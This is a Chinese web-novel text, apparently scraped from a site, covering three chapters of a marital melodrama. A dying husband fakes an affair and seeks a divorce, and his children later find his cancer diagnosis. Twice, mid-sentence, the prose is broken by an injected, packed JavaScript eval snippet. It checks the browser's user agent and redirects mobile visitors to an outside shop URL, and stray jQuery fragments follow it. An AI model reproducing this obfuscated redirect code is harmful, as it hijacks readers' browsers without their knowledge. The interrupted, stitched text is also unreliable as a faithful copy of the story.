《和死对头爸妈一起上学的日子》
1. 感情变质
深夜,窗外夜色如墨,时钟的指针打过十一点,客厅里安静如常。
柯栩不知第多少次拿起手机,屏幕上那一连串自己打出去的电话,无一例外全部未接通。
他的耐心不多,今晚已经快到极限。
拇指再次按向拨通,心跳在怒意积压下变得急促起来,盯着屏幕的眼神仿佛要把手机盯出洞来。
一阵嘟声过后,电话总算接通,那边传来男人沉磁却冷淡的声音:“喂。”
呵,连名字都不叫了,以前一口一个亲爱的,要么小栩小栩叫得肉麻,现在倒好,直接一个“喂”甩了过来,语气还冷得像冰。
柯栩的后槽牙咬紧了,饱含质问的话破口而出:“我给你打了那么多电话,你为什么不接?”
路辞有些不耐:“最近公司忙,在开会,你让我怎么接?”
柯栩明显不信:“我给你打的第一通电话是六点十分,下班时间,就算要加班,你总得吃晚饭吧,回个电话的时间总挤得出来吧,我不信你一个会议能开五六个小时。”
路辞不打算解释,叹气道:“你这是怎么了?至于这么咄咄逼人吗?我近期经常加班,没必要天天向你报备吧。”
说罢,不等柯栩开口,对面已经挂断了电话,留给柯栩一阵又一阵机械的忙音。
柯栩眼眶瞬间就红了,气得,更是委屈得。
他右手捏着手机,力气大到几乎要把手机捏碎,天知道他用了多大的努力,才克制住自己没把手机扔出去。
儿子和女儿正在楼上写作业,还有两个月就要高考了,无论如何,都不能影响到他们。
可是……
柯栩扭脸看向落地窗外,深蓝色的玻璃倒映出他的脸,和窗外城市璀璨的夜景融合在一起,让他看不清自己。
他和路辞之间……到底哪里出了问题?
柯栩回忆起一个月前的那一天,明明前一晚还老婆老婆叫个不停,抱着他黏着他滚了大半夜,次日晚上下班回来,路辞突然就变得冷淡了不少。
他当时没多想,只以为路辞是接了大项目太累,不愿分心在家庭上而已。
可后来,路辞对他的态度越来越不对劲,说话时经常走神,还总是敷衍他,动不动就加班,回来的时间也一天比一天晚。
不仅如此,他俩床上那档子事儿的频率也小了很多,一个月来唯一的一次还是他主动,结果,只换来路辞一句:“我累了,再说吧。”
都说结了婚的女人患得患失,他一个已婚男士,又何尝不是?
柯栩脑子里再次回忆起近日来路辞的种种表现,一个令他心惊的猜测自心底萌生。
路辞他……不会外边有人了吧?
一个刚过不惑之年的多金总裁,正是一朵花的年纪,身边莺莺燕燕无数,有几个男人能抵挡得了那些层出不穷的诱惑?
可路辞是谁,那是爱了他宠了他十八年的丈夫,路辞的人品他最了解不过,又怎么可能做出那种事?
然而,疑虑一旦产生,就再也挥之不去,像吸满水的大海绵,沉甸甸强行占据了他的大脑。
柯栩一分钟都不想再等,穿好衣服,连招呼都没跟两个孩子打,直接拿了钥匙和手机,出了门。
家门关闭的声音在寂静的夜里格外突兀,楼上的次卧房门打开,一起写作业的兄妹二人走了出来。
妹妹柯辛一脸担忧:“哥,爸爸和爹地……”
哥哥路羽安抚道:“先别多想,夫夫哪有不吵架的,过几天就好了。”
“可是这次,都一个多月了啊。”柯辛哭丧着脸,“之前都是爸爸生气,爹地哄,这还是第一次,爹地对爸爸这么冷的,爹地到底怎么了?”
路羽心思细腻,口头上安慰得了妹妹,却说服不了自己,他知道,爸爸和父亲之间,出问题了。
具体什么情况,他还没搞清楚。
他拍拍妹妹肩背:“爸爸应该是去找父亲了,先去写作业吧,别给他们添麻烦。”
-
柯栩心急,只用了五分钟,一路疾驰到路氏集团楼下。
从车上下来,三月底的夜风还有些凉,吹得他打了个寒颤。
柯栩裹紧大衣,抬头望向路氏大厦顶楼,那是路辞的办公室,此时此刻正亮着灯。
柯栩平复下心绪,他从没想过,来公司捉奸这种事,会是他能做出来的。
说出去,会让人笑掉大牙吧。
顾不上那么多,柯栩大步走向大门,进入电梯,他按下三十三层按钮,看着一点点升高的数字,藏在大衣兜里的双手紧了又松,松了又紧。
从电梯出来,左侧大面积办公区沉在黑暗里,一个人都没有,会议室也安安静静,没有半点加过班和开过会的痕迹。
路辞的谎言几乎昭然若揭,随着柯栩距离路辞办公室越来越近,他的心跳不由快了起来,掌心也渗出了湿意。
路辞办公室面积很大,外边是大块整体的磨砂玻璃,从外头看不见里头。
他轻脚走近了些,才发现门没关严,留着一条两三公分宽的缝隙。
柯栩在门前站定,右手搭在门把手上,下一瞬,耳边传来的暧昧对话声,阻止了他推门的动作。
视线穿过缝隙朝里望去,一身西装的男人倚坐在办公桌边,高挑的男特助攀在他身上,两人距离很近,一副调情的场面。
“路总,别这样……”
“以我们的关系?有何不可?”
男人的轻哄和特助的嗔怪交织在一起,仿若一把尖刀刺进了柯栩的身体里,他的眼睛瞬间就有些模糊,唯有路辞对别人的柔情和蜜意像刺骨冷风一样往他耳朵里钻。
猜测是一回事,真正看到这一幕,又是另一回事,事实似一击重锤将他砸得四分五裂。
那一刻,柯栩感觉自己的喉咙仿佛被一只大手扼住,连呼吸都艰难起来。
心痛如刀绞的感觉,也不过如此了吧。
或许,真正心灰意冷的时候,人是发不出声音来的,所有情绪更是爆发不出来,被挤压在心里,化作一团浊气,腐蚀着自己身体的每一寸。
短短两分钟,仿佛过了一个世纪那么久。柯栩强迫自己从那刺眼的画面上挪开视线,右手离开了门把,拖着虚浮的脚步,转过了身。
这种时候,不冲进去歇斯底里,就是他留给自己最后的体面吧。
而此时的办公室内,路辞一边做戏一边盯着门缝处,从柯栩出电梯,他就一直看着电脑屏幕上的监控画面,直到柯栩的脚步声临近,他才拉过陈特助陪他演戏。
前后不过几分钟,他没等来柯栩的指责谩骂,等来的,只有心爱之人失望离去的背影。
男人表面淡定,心里却很乱,脑子里充斥着:他没进来,他没进来……
这是失望到了什么地步,才会一声不吭,忍着痛离开。
却又有一个声音说:你的目的达到了。
唯一的观众走了,方才还和陈特助眼神拉丝的男人立马换了副表情。路辞将助理推开,拒人千里之外一般的疏离,演技精湛到了一定境界。
陈特助恭敬地退到一旁,面上有些不忍:“路总,这样做戏给夫人看,他……”
路辞整理着西装领带,面容冷峻:“你别管了。”
“可是,”陈特助担忧道,“让我假装掺和进您和夫人的关系里,我怕……”
路辞明白他在顾虑什么,说:“他不会对你怎样的,我了解他。”
那个人,他的柯栩,太善良。
有总裁这句话,特助自然放心了。
今晚的特殊任务完成,陈特助替自己捏了把冷汗,临走前,又被路辞叫住:“记得明天安排郑律师过来。”
陈特助应道:“好的,路总。”
柯栩回到家已是深夜,他去楼上看了眼儿子和女儿,两个孩子已经睡下。
一方出轨的破碎关系无法挽回,再给路辞打
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437786|201002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
电话已经毫无意义,柯栩关掉手机,疲累得瘫在了床上,盯着天花板的眼神都变得空洞。
不像影视剧中妻子会报复出轨的丈夫,去算计他的资产,柯栩对路辞的钱没兴趣,他是最重感情的人,当初会和路辞在一起,除了因为意外怀了他的孩子,还因为路辞本身,他爱路辞,和他的身份背景钱财社会地位没半毛钱关系。
而今后,只要确保他的两个孩子能继承路辞的公司,他自己未来会如何,柯栩真的没想过。
他甚至连接下来要怎么做都不知道,大脑陷入无尽的混沌之中。
不知辗转反侧了多久,柯栩才沉沉睡去。
半夜三点,房门被轻声推开,裹着一身寒气的男人立于门外,静静注视着屋里。
昏暗的壁灯没关,柯栩蜷缩在床上,身上的蚕丝被凸显出他单薄的身形轮廓。
大概是由于他的原因,柯栩最近没怎么好好吃饭,瘦了不少。
路辞心底泛起细密的疼,他强忍下进去将人揽入怀里的冲动,默默合上门,退了出去。
既然出轨,就要做得像一点,他本没打算回家睡的,只想回来看看柯栩,看看这个,他放在心尖上爱了快二十年的人。
凌晨三点半,路辞离开家,返回公司,在办公室的里侧休息间对付了后半宿。
一大早,没睡多久的路辞是被疼醒的,他眉心紧锁,咬牙捂着右上腹,就着凉水吞下一把药丸,待疼痛缓解,他才看了眼时间,已经到了上班点儿。
方才的憔悴褪去,洗漱完穿戴整齐的男人又恢复了往日的气度非凡。
-
上午十点,办公室门被敲响,陈特助推门进来:“路总,郑律师到了。”
路辞:“好,让他进来。”
郑律师将两份提前起草好的文件递给路辞,说:“路总,这是离婚协议书和遗嘱,请您过目。”
路辞接过一边翻看,一边听郑律师给他讲:“根据您的要求,离婚之后,您名下路氏集团百分之五十二的股份,将全部转到您夫人柯栩名下,另外,剩余百分之三十的股份,平分给两个孩子,未来,公司股份将如何分配给两个继承人,就看柯先生自己了,他是集团的绝对控股人。”
路辞沉思片刻,又问:“几套房产和车子呢?”
郑律师:“您放心,也都在您家人名下,绝不会流向外人。”
路辞满意地点点头,薄唇轻启:“好,那我就放心了。”
郑律师走后,路辞半躺进转椅里,抬手按了按酸胀的太阳穴。
医生说,他还有两个月左右的生命,公司的事宜他在一步步往妥当了安排,包括能靠得住的辅佐柯栩的左膀右臂,以及棘手项目的收尾事宜。
路氏是股份公司,他一旦倒下,父亲那边的旁系多的是盯着这块肥肉的豺狼虎豹,他必须提前给柯栩扫除一切障碍,断了那些人的念想。
不仅如此,这么多年,从政的外公一直就看不上柯栩的学历出身,但路辞知道,柯栩只是高中时期因家里的事浑噩不学而已,他的经营管理能力没问题,甚至不亚于自己。
公司交给他,他能接住,就是为了儿女的未来,他也定能走下去。
只是,没了依靠的未来,谁来爱他,照顾他。
想到这些,路辞右腹又传来阵阵钝痛,他叹了口气,翻看着手机联系人。
划着划着,手指停下了,屏幕中间,显示着一个名字,一个他极为排斥的人,柯栩长达二十多年的暗恋者,至今仍然单身的,林亦停林教授。
路辞拇指按下,电话拨通。
忍着不知是身体还是心理上的痛楚,强压下内心翻涌的情绪,路辞沉沉开口道:“林亦停,我们见一面。”
林亦停刚下课,听到抢走他白月光的情敌的声音,心情不是很好,不耐道:“什么事不能在电话里说?”
路辞对林亦停的态度不甚在意,只说:“有关柯栩,很重要的事。”
2. 婚姻破裂
茶馆的角落里,两个男人已经交谈了有一会儿,说完,路辞端起茶杯小饮一口,放下时,眼神里包含无奈,语气却淡漠如常:“事情就是这样,我快没时间了。”
他沉静抬眸,继续道:“以后,柯栩,就拜托你了。”
林亦停是大学教授,多年执教经历沉淀出他沉稳的气质,素来情绪平和极少发火,而此刻,在听完路辞那番话后,他心里没来由的一股火气,堵在胸口,亟待爆发。
路辞迎着林亦停的目光,沉默着没说话。
戴着眼镜的斯文男人死死瞪着对方,终于还是没忍住,两手一拍桌子站起身来,他大力揪住路辞的衣领,斥责道:“路辞你他妈把他当什么?”
路辞的领子被揪起老高,但他并没有生气,眼底溢满真挚:“他是我这辈子最爱的人。”
多年的情敌关系在此刻化为泡影,无需更多语言,他们已从对方眼里读懂彼此。
这世上,能默默无闻地喜欢一个人那么多年,甚至他结婚生子也没放弃的人,不多。
所以,路辞很佩服林亦停。
曾经,他很介意世上有一个时时刻刻惦记自己老婆的人,如今,他却庆幸,在他离开后,世上有一个可靠的能把柯栩托付的人。
路辞微微一笑:“这么多年,喜欢小栩的人很多,不怀好意的人更多,可如果能让我安心离开,那么能照顾他的人,只能是你。”
林亦停眼眸闪动,他右手松开了,叹着气坐了回去,问:“你的病,柯栩知道吗?”
路辞摇了摇头:“不知道,他只知道,我出轨了。”
林亦停又想给他一拳了:“你做戏给他看?”
路辞沉默了,片刻后他望向窗外,眼底掠过一丝凄楚:“怪我自己,已经快要失去给他幸福的资格了。”
他苦笑一声:“不如,就早早让他恨我,这样,以后得知真相时,不会太痛苦。”
林亦停冷声提醒:“纸包不住火。”
路辞叹气:“能瞒一天是一天吧。”
-
柯栩醒来时,已经是日上三竿。
一整夜乱七八糟的梦,扰得他即便睡了这么久,依然头脑昏沉。
儿女早已去了学校,餐桌上留着字条:“爸,微波炉里有早饭,起来热热吃吧,爱你的小羽。”
是儿子的字迹,自己这个爸爸当的,还得高三的儿子一大早起来给做早饭。
旁边还有一张,写着:“妈,你最近都瘦了,我们不在家,你要好好吃饭哦,等爹地回来,我让他好好哄哄你,爱你的小辛辛。”
这是女儿的字迹,那丫头,就喜欢叫他妈,他一个男的,自然不喜欢被那么叫,但女儿羡慕别的同学都有妈妈,就她没有,于是会偶尔这么叫他,柯栩也就随她去了。
谁让那俩孩子,真是他十月怀胎,从肚子里生出来的呢。
想起当年,自己一个男人怀孕的极罕见案例,全球也找不出来五个,可从得知怀孕的慌乱和不安,到最后收获了爱情和四口之家,那段辛苦却幸福的经历让柯栩忍俊不禁。
然而一想到昨晚,他的心情再次跌入谷底。
柯栩洗漱完,坐到餐桌前,看着儿子做的早餐,他食髓知味地逼自己全部吃了下去。
曾经,他在路氏上过几年班,可路辞的外公极其看重学历,连带公司里的几个股东也对他的出身表示不满,不止一两次嘲讽过他,每次都是路辞护他帮他,可路辞帮不了他永远。
为了顾全大局,柯栩最终还是离开了路氏,自己开了一家咖啡厅,几年来,经营得还算不错。
感情破裂,店还得继续开,招牌不能倒。
很多时候,柯栩在面对问题、解决问题的时候,都是极其冷静的。
曾经,上高中大学时的自己,整天游荡在校园里,漫无目的,浑浑噩噩,性格跟个炮仗一样,一点就着,一碰就炸。
结果意外跟路辞睡了一觉,就怀孕了。
路辞曾说,他喜欢那个咋咋呼呼的自己,那个总爱跟他对着干的自己,虽然日子得过且过,却不明缘由的充满吸引力,有股别样的韧劲儿。
如今,那些少年时代的岁月和鲜活,都被婚姻磨没了吧。
人是会变的,感情也突然就变淡了,没人能解释得了为什么。
他设想过昨晚冲进办公室撕破脸会是个什么样,结果不会改变,多年的夫夫感情在那儿,没必要闹得那么难看,彼此都不体面。
他能做的,就是等,等路辞给他一个交代。
那人向来磊落,若真的不爱了,当真爱上了他的助理,不会任由这种地下关系持续太久,更不会分心去维系一段名存实亡的婚姻关系。
他要的交代,也不会等太久。
果然,当晚下班回到家,客厅的灯亮着,柯栩在沙发上看到了路辞挺阔的背影。
儿子和女儿在上晚自习,还没回来,现在谈,不会影响到他俩,也好。
柯栩脱下外套挂在衣架上,换了拖鞋,走到路辞面前,开口便是一句:“这么早回家,还真是挺难为你的。”
路辞抬眸看向柯栩,爱人漠然的嘲讽,仿佛针尖一样刺得他心脏麻疼麻疼的。
他没回应,待柯栩坐下,冷着脸把一份文件推到他面前,态度不以为然地丢来一句:“柯栩,我们离婚吧。”
语气仿佛在说“我们吃饭吧。”一样简单。
这句话不亚于晴天霹雳,震得柯栩的脑子嗡嗡的。
“离婚吧。”
“我们离婚吧。”
“柯栩,我们离婚吧。”
柯栩如坠冰窟,心脏瞬间痛到仿佛被人攥在手里一样。
他想过很多种路辞给他的交代和答案,也想过最坏的——离婚,可是,他没想到会这么快。
“离婚”两个字,如此草率的把他们十八年的夫夫感情推倒了终点,而路辞,甚至吝啬于给他一个合理的理由。
也是,出轨爱上别人了,这便是原因。
人心,最难猜,感情,最难懂。
他以为他懂路辞,但爱情,终是败给了时间。
他也并不像他以为的,那么了解路辞。
可柯栩还是忍不住想问,想从路辞嘴里听一个解释,一个哪怕苍白的解释。
柯栩是过敏体质,情绪不稳稍有浮动,就会眼眶发红,配上他昳丽精致的五官,让人忍不住就想拥入怀里,好好安慰一番。
他的视线从离婚协议书移向路辞,凝眸注视着他,强压下翻涌的情绪,简短问道:“理由?”
路辞依然那副不在乎的姿态,双手交叠搭在膝上,甚至连轻扯的嘴角都溢出几分不耐烦来,一副早就对这场婚姻失去兴趣的样子:“腻了,不爱了。”
他翘起二郎腿,两手一摊,有钱人渣的那套表情被他演绎得淋漓尽致,甚至还呵笑一声:“生活嘛,需要新鲜感。”
路辞姿态随意,面上轻描淡写,唯有他搭在腿上轻搓的右手,体现着他此刻的违心。
那动作微不可查,柯栩没有发现,也就自然信了路辞的话。
柯栩不是自恋的人,并不以为自己有多大魅力,身边很多人讨论过他的脸多漂亮,外形条件多好,只有他自己不以为意,也不觉得这是能吸引路辞的点。
路辞身边最不缺帅哥美女,颜值,是最不值得一提的。
而曾经吸引路辞的洒脱炸毛的性格,也随着年龄增长,渐渐变了。
所以,路辞说不爱了,柯栩是相信的。
他只是觉得心里堵得慌,堵得厉害,喘不上气来。
柯栩苍白的唇角轻扯,苦笑又讽刺着重复:“呵,腻了,不爱了,新鲜感……”
这几个词同样像鞭子一样抽在路辞身上,他静静注视着柯栩,在心里骂了自己八百遍,想象中也揍了自己八百遍。
空气安静片刻,柯栩蓦地站起身来,他指着楼上两个孩子的房间,苛责道:“小羽和小辛还有不到两个月就高考了,你提离婚,你有想过他们吗?”
路辞依然那副无所谓的态度,表现得要多人渣有多人渣:“他们是我孩子,我自然会考虑,况且,我的孩子们承受能力没那么弱,你如果担心,那就先瞒着,高考后再告诉他俩。”
说罢,路辞也站了起来,一边整理领带一边看着柯栩,眼里带着讽意冷淡道:“放心,该你的,少不了。”
这句不说还好,一说,柯栩压抑许久的怒火彻底爆发,他“啪”的一声,抬手给了路辞一巴掌,力道不小。
路辞的脸歪向一侧,表情凝固。
好一会儿,他才缓缓转过脸来,对上了柯栩愤恨又复杂的眼神。
柯栩:“离就离,我不稀罕你那些东西,但你记住,该你两个孩子的,一分都不能少。”
路辞同柯栩对视,爱人的恨意直达心底,刺激得路辞情绪不稳,右腹瞬间疼了一下,他担心自己在柯栩面前露馅,急忙移开视线,指指一旁的离婚协议书,最后说了句:“记得签字。”便大步朝外走去。
出了门,大门合上的下一秒,路辞脸上表情骤变,冷汗都冒了出来,他眉头紧拧,死死按住腹部,半倚靠在墙上。
右腹的疼痛来得剧烈,他几乎寸步难行,好在身上有备药物。
没有水,路辞索性直接将十几颗药片一把全塞进嘴里,硬生生干
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437787|201002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吞了下去。
为了不碰上出门的柯栩,路辞弯着腰,踉跄着挪到消防楼梯处,在那里缓了好一会儿,待痛劲儿过去,才离开回了公司。
家里。
房门关上后,客厅陷入死一般的沉寂。
哀莫大于心死,柯栩长出了一口气,眼瞳里仿若一滩死水。
他浑身无力地瘫坐进沙发里,双手掌心掩面,泪水从指缝间溢出来。
一个已经不爱你的人,十头牛都拉不回来。
柯栩不是那种会死缠烂打求复合的人,他不会做徒劳的挽回,只会体面的退出。
柯栩拿起笔,翻开离婚协议书,连其中的内容都没看,就在最后一页,签下了自己的名字。
他的心在滴血,痛到发麻。
结束了。
-
接下来的几天,路辞再也没回来过,两个孩子回家问起来,柯栩只说他们的父亲出差了。
路羽和柯辛虽然觉得蹊跷,却没多问。
学业繁重,他们不想爸爸担心,也不想给他们添麻烦。
可是,他们明显看出,爸爸状态和之前不一样了,食欲下降,时常发呆,话少了很多,情绪也不高,甚至还有些忧郁。
周末结束,儿女返校。这两天,在孩子们面前维持原样,表现出一副什么都没发生的样子实在是耗尽了柯栩的全部心力。
他们走后,柯栩疲累地在家睡了两天,拉着窗帘不分昼夜地睡,睡不着躺着,总之就是不想看见阳光,把自己埋在黑暗里。
第三天,柯栩躺不动了,总算撑着没力气的身体,起床了。
来到店里,一上午的忙碌让他几乎忘记了离婚的事,麻木得仿佛一个机器,可当停下来,他便又陷入迷茫的胡思乱想中。
简单吃过午饭,柯栩正发呆时,手机铃声响了起来。
他拿起一看,来电者是个有段时间没联系的人:林亦停。
林亦停,一个柯栩曾为了顾及路辞和家庭刻意疏远过,却一直默默关注他、暗恋他的人。
柯栩眉心微蹙,不知这时候,林亦停为何要打电话给他?
他不知道自己接下来该怎么做,这个电话该不该接,但为了报复,像路辞一样去出轨,他做不到。
路辞不爱他了,但他还爱着路辞。
他是个有感情洁癖的人,没办法让自己那么快进入下一段感情。
甚至能不能再喜欢上另一个人,他都不确定。
认识二十多年,相爱十八年,让柯栩的生命里早就深深刻下了路辞的名字。
要抹掉他,太难了。
只是,现在这种死气沉沉的状态,让柯栩无所适从,活得像一具行尸走肉。
店里不忙,他时常觉得自己需要做一些事情填满这种毫无波澜的生活。
哪怕只是找个人说说话,也行。
或许,林亦停找他,是有别的事。
柯栩看向手机来电,“嘟嘟”声还在继续,他拇指缓缓移向接通键,没再犹豫,按了下去。
“喂,林亦停。”
林亦停像是松了口气:“你总算接电话了,我还以为你……”
柯栩问:“我怎么了?”
林亦停改口道:“哦没什么,对了,晚上有空吗,我请你吃饭?”
柯栩沉默片刻,换做以前,他会毫不犹豫地拒绝,但是今晚,他答应了:“有空。”
林亦停轻笑了声:“好,我在罗曼餐厅等你。”
-
傍晚,柯栩较往日早些关了店门,驱车前往林亦停订的餐厅。
只是,那餐厅的位置距离小羽和小辛的高中比较近,但愿不要碰到孩子们。
柯栩停好车走进餐厅,落地窗边的独立餐位,一身休闲装戴眼镜的男人坐在那里,正是林亦停。
看到他,林亦停站起身来,朝他招手:“小栩,这里。”
待柯栩走过来,男人笑道:“难得能把你约出来。”
柯栩弯了弯唇,坐下了。
服务员过来给点完餐,柯栩直接问:“你找我,有什么事吗?”
林亦停顿住,想起前几天路辞给他发过的微信,跟他说,他已经和柯栩提离婚了,而柯栩也同意了。
那条信息意味着什么,不言而喻。
林亦停也不拐弯抹角,更不掩饰自己的目的,直接开口道:“听说……你和路辞……离婚了。”
而此时,正对着他们的窗外,马路边。
漂亮的女高中生盯着柯栩,着急地拨通了哥哥的电话。
柯辛就是出来买几支笔,她怎么也没想到,竟然碰上他爸和别人吃饭约会。
3. 得知真相
电话接通:“哥,哥,你快来,我看到爸爸和那个林……林亦停,就那个喜欢爸好多年的大学教授,在……在约会,怎么办啊?”
几分钟后,路羽赶了过来。
兄妹俩躲在一棵树后往里看,餐厅里的两个男人正一边聊天一边吃饭,从远处看,他们没有肢体接触,柯栩话很少,倒是看不出和林亦停有多暧昧,只是这顿饭依然在兄妹俩心里埋了个雷。
毕竟,之前柯栩是从来不跟林亦停单独出来的。
所以今晚的约会,必然不简单。
柯辛急得直跺脚,她想进餐厅去找爸爸,问问他到底怎么回事?最近为什么状态那么差。
她前脚还没迈出去,就被路羽拽了回去,哥哥向来沉稳,遇事不急不躁:“先别去,我先打电话问问父亲。”
电话拨通,那边接了起来,路辞:“喂,小羽。”
路羽:“父亲,你在哪儿?”
路辞顿了顿:“我在公司,怎么了?”
路羽蹙了下眉:“公司?可我爸说你出差了,要出好久,所以才不回家的。”
路辞沉默片刻,说:“我的确出差了,刚回来,但最近很忙,要加班到很晚,就直接在办公室睡了。”
路羽显然不信:“你以前忙的时候多了去了,好几次哪怕忙到半夜两三点都要回来。自我和妹妹记事起,除了出差,你从来没因为加班在公司住过,从公司到家开车不过二十分钟,你不回家,你忍心留他一个人在家?”
少年说着说着情绪就有些激动,和妹妹一样,他很爱很在意爸爸,相比于对父亲带着几分敬畏的爱,对爸爸,他俩是既黏又心疼的爱,平时也会更向着爸爸一些。
谁让那是把他们带到这个世界来的人呢,当初爸爸怀他俩不知受了多少罪,更不知忍受了多少年别人的闲言碎语,以及在这个大家族里,因为是个学历出身不高的男人而受到的冷落和偏见。
的确,父亲这么多年对爸爸很好,可依然改变不了爸爸曾受过委屈的事实。
但好在,他们夫夫之间的感情一直很好。
那边的路辞听着儿子的责怪,一时有些无言以对。
路羽不希望他们之间出任何问题,但今晚的这一幕着实让他心里发慌,不由就开口道:“而且爸爸他……”
少年望了眼餐厅里的爸爸,顿觉难以说出口,总不能让他直接告诉父亲,爸爸在和别的男人约会吧,事情还没搞清楚,直接说出来,只会加剧他俩的矛盾。
见柯辛想说话,路羽赶紧伸出食指抵在自己唇边,无声示意妹妹别说。
路辞一听,以为柯栩病了或是出什么事了,语气里满是担心:“你爸怎么了?”
路羽捏紧手机,改口道:“没……没什么,就是最近,他很没精神,总是郁郁寡欢的。”
电话那边又没声了,实在是路辞不知道该怎么回答儿子。
路羽等不来父亲的回应,急着质问道:“所以,你们俩到底怎么了?不要想着骗我们,我俩不傻,什么都看得出来。”
路辞半躺在转椅里,看着办公桌上自己刚服完药还没来得及收拾的一排药瓶,叹了口气。
“我和你爸没什么,你俩别瞎想。”
“快高考了,好好复习。”
“我要开会了,挂了。”
不等路羽再说话,那边已经挂断了电话。
路羽有些气恼地关掉手机,揣进了兜里。
“他俩之间一定有问题,等这周末吧,回家搞清楚怎么回事。”
兄妹俩又躲树后观望了一会儿餐厅里的爸爸和林亦停,没发现他们有什么出格的举动,便卡着晚自习上课时间点回了学校。
-
二十分钟前。
“听说……你和路辞离婚了。”
柯栩抬眸,脸上表情没什么变化:“你怎么知道的?”
他和路辞只是各自签了离婚协议,还没去民政局办离婚,按理说,别人不会知道的。
林亦停淡笑着,临时编了个理由:“上周末在停车场碰到路辞了,他……和他助理……”
这是他和路辞提前商量好的,既然选择隐瞒,就得一直欺骗下去。
只为让柯栩渐渐恨上路辞,对他们的婚姻失望。
那天还说路辞欠揍,自己这样也跟那人没什么两样,像个趁人之危的饿狼。
林亦停一边说,一边留意柯栩的反应,甚至往更暧昧了形容:“很亲密的样子。”
“我拦住问他,他告诉我:你们离婚了。”
听闻林亦停的话,柯栩握着水杯的手指用力到指尖泛白,眉宇间更显露出几分痛楚。
林亦停看着心里发紧,伸手就想去握柯栩的手,却被柯栩一个抽手,及时躲开了。
“这事和你无关。”
柯栩神情淡淡,实在不想提和路辞有关的话题。
林亦停看出柯栩的排斥,倒也不恼,“行,不提他了。”
男人见柯栩杯子里的水已经见底,叫来服务员给续上。
两人之间安静了下来,气氛有几分微妙,但这只是林亦停自己认为的。
之前他从未成功将柯栩约出来过,这次,柯栩能很给面子地过来赴约,已经迈出了第一步了。
自柯栩走进来坐下,林亦停的眼神就没从柯栩身上移开过,他在心里笑自己没出息,这么多年了,还是对柯栩念念不忘。
年近四十的柯栩,岁月几乎没在他脸上留下什么痕迹,唯有眼角极淡的几条小小纹路,给他身上平添了几分成熟和矜贵的气质,甚是迷人。
菜品端了上来,林亦停示意柯栩用餐。
为了缓解气氛,林亦停换了别的话题,围绕着柯栩的两个孩子和他的咖啡厅聊了起来。
柯栩也一一配合,对于林亦停又聊起的大学校园的趣事,他也很认真的聆听并回应。
用完餐,临道别前,林亦停叫住即将上车的柯栩:“小栩,有什么不开心的,别憋在心里,可以找我倾诉,我一直都在。”
柯栩握着车门把的手顿住,眼瞳在霓虹灯映照下亮晶晶的,林亦停的真心他感受得到,任谁也无法拒绝这样真挚的关心。
他微微弯唇,“嗯”了声,坐进了车里。
-
周六傍晚。
路羽和柯辛放学回到家里,换了拖鞋,急急忙忙就进了主卧。
前两天,班里有个女孩情绪特别低落,周围同学问她怎么了,那女孩说她爸爸妈妈离婚了,她没有家了。
这话落到兄妹俩耳朵里,顿时就在他俩心里埋下了不安的种子,两人这几天心里一直想着这事儿,总算熬到了周末。
兄妹俩在主卧抽屉里翻找,终于,在最下边的抽屉里,找到了离婚协议书。
路羽心情焦急地翻到最后,看到了柯栩的签字,时间是八天前。
原本只是猜测,没想到,爸爸和父亲当真走到了离婚这一步。
太突然了,突然到像从天上掉下了个炸弹一样。
这事对于两个从小就在幸福家庭长大的兄妹来说,简直就是天大的事。
哥哥二话不说拉上妹妹就往出走,“走,咱俩去父亲公司,问问他到底怎么回事。”
二十分钟后,出租车到达路氏集团楼下。
路羽和柯辛疾步跑进大门,冲向电梯口,此时正值下班点,电梯里人多,他俩被挤到了最里侧。
这时,一个有些面熟的年轻男人走了进来,路羽认识他,是路辞的助理,陈特助。
陈特助没看见他俩。
路羽正要开口问他父亲在不在楼上,就听陈特助接通一则电话:“谢医生,路总这几天情况不太好,上周美国的莱特大夫也说,发现的太晚了,没太大希望了……进口靶向药效果也一般……好,我明天去取药。”
兄妹俩听得云里雾里,柯辛一脸焦急地看向哥哥,用眼神询问:“他说的,是爹地?”
路羽心脏猛跳,被陈特助话里传递的信息刺激得一时忘了反应,他正打算叫住陈特助,这时电梯门打开,陈特助接着电话走了出去。
有人进电梯,兄妹俩被堵在最里头,待挤出来时,已经看不到陈特助的身影了。
没办法,他们只得去顶层找父亲,当面问他。
可当他俩来到路辞办公室,却又被秘书处告知路辞下午就出差了,现在在飞机上。
路羽尝试打电话给父亲,的确提示关机。
找不到人又满心焦急的无助感爬上全身,路羽带着妹妹在员工休息去坐了下来。
路羽一时不敢跟爸爸说,怕柯栩知道会受打击承受不住。
“突然离婚,难道……父亲生重病了?”
这最坏的猜测让少年脸上满是困惑和急切,明晚又得返校,他实在等不到路辞出差回来。
路羽拍拍柯辛肩膀,“走,再回家找找看,说不定能找到什么。”
两个小时后,在父亲书房办公桌最里侧的小抽屉里,兄妹俩找到了一张化验单。
薄薄的一张纸上,赫然写着:患者路辞,年龄四十岁,肝癌晚期。
“啪”的一声,柯辛手里的书掉在了地上,她盯着化验单上的每一个文字,眼眶瞬间就红了,眼泪啪嗒啪嗒往下掉。
肝癌晚期,那无异于被宣判了“死刑”。
“怎么办啊,爹地他,怎么会……”
看到那四个字的一瞬间,路羽脑中仿佛电闪雷鸣,他的天空被划得四分五裂,碎掉了。
得知真相的无助,让这个素来高冷稳重的少年再也扛不住,喉间哽得厉害。
